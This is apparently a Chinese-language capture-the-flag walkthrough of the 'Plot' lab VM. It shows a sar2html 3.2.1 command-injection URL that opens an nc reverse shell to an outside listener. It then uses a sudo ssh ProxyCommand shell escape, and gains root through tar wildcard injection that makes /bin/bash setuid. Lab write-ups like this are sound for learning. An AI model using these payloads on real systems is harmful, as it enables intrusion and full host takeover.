# 靶场搭建

靶场下载:Plot

下载、导入、Nat

IP: 192.168.1.131

# 渗透过程

# 信息初收集

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 f0:e6:24:fb:9e:b0:7a:1a:bd:f7:b1:85:23:7f:b1:6f (RSA)
|   256 99:c8:74:31:45:10:58:b0:ce:cc:63:b4:7a:82:57:3d (ECDSA)
|_  256 60:da:3e:31:38:fa:b5:49:ab:48:c3:43:2c:9f:d1:32 (ED25519)
80/tcp open  http    Apache httpd 2.4.56 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.56 (Debian)
MAC Address: 00:0C:29:C8:56:BD (VMware)

nikto 发现了一个自定义的 header,里面有一个域名

+ /: Uncommon header 'x-custom-header' found, with contents: pl0t.nyx.

尝试添加到 host 里面去

做信息收集没有任何变化 ==、乌鱼子了

也许还有别的域名?用 gobust 看看

┌──(root㉿kali)-[~]
└─# gobuster vhost -u pl0t.nyx -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain

得到了一个子域 sar.pl0t.nyx ,也添加到 host 中

打开看发现了 CMS: sar2html Ver 3.2.1

搜索,发现了漏洞。

OJ8K 直接利用: http://sar.pl0t.nyx/index.php?plot=;nc%20-c%20/bin/bash%20192.168.1.129%204444;

拿到 shell

# 提权

sudo -l 发现有 ssh 权限

先提升交互

< sudo -u tony ssh -o ProxyCommand=';sh 0<&2 1>&2' x

拿到 tony 的 shell,但是都很干净,所以有点雾水

看了 wp 发现是要监视进程,自己上传 pspy64 进行监视

有定时任务,一般定时任务会在整点触发,所以要等待一下。

可以看到定时任务里面有一个 tar 的任务,搜一下 tar 的 cron 利用方式

payload: tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

构造这个 checkpoint 就可以,这就涉及到这个 cf 参数和通配符的问题了

当我们 touch 一个文件的时候,如果名字叫 -al 那么 ls * 就成了 ls -al

用这个原理我们可以构造一个文件名叫 --checkpoint 的,加上恶意参数,触发这个 tar 的 break out

tony@plot:/var/www/html$ touch -- "--checkpoint=1"
tony@plot:/var/www/html$ touch -- "--checkpoint-action=exec=sh script.sh"

创建一个 script.sh 写入一个 chmod +s /bin/bash ,设置个 x 权限,等计划任务一过 bash -p 就 root 了

注意文件要都在 /var/www/html 下!

# 小结

新知识 * 的妙用